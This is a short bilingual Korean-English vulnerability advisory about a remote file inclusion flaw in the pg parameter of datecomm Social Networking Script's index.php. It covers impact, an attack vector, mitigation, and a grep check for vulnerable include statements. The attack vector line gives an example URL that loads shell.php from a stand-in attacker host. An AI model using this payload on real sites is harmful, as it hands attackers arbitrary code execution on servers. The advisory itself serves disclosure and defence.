🇰🇷 한글 설명
datecomm Social Networking Script의 index.php 파일에서 pg 매개변수를 통한 원격 파일 포함(RFI) 취약점 발견. 공격자가 원격 서버의 PHP 파일을 로드하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트가 외부에서 파일을 가져올 때 제대로 검증하지 않아, 해커가 악의적인 코드를 실행할 수 있는 문제입니다. 이를 통해 서버에 완전한 접근 권한을 얻을 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in datecomm Social Networking Script (aka Myspace Clone Script) allows remote attackers to execute arbitrary PHP code via a URL in the pg parameter.
📍 영향받는 시스템
datecomm Social Networking Script (모든 버전 또는 특정 버전 미확인 - 2007년 이후 미패치 버전)
⚔️ 공격 벡터
http://vulnerable-site.com/index.php?pg=http://attacker.com/shell.php 형태의 URL을 통한 직접 접근
🛡️ 대응 방법
datecomm을 최신 버전으로 업데이트하거나, pg 매개변수 입력값 검증 및 원격 파일 로드 기능 비활성화
🔧 검증 코드
명령어가 결과를 출력하면 취약한 include 구문이 존재하는 것이며, pg 변수가 직접 포함되면 RFI 취약점 확인됨
grep -r 'include.*\$_GET\|include.*\$_REQUEST' /path/to/datecomm/ 2>/dev/null | grep -E 'index.php.*pg'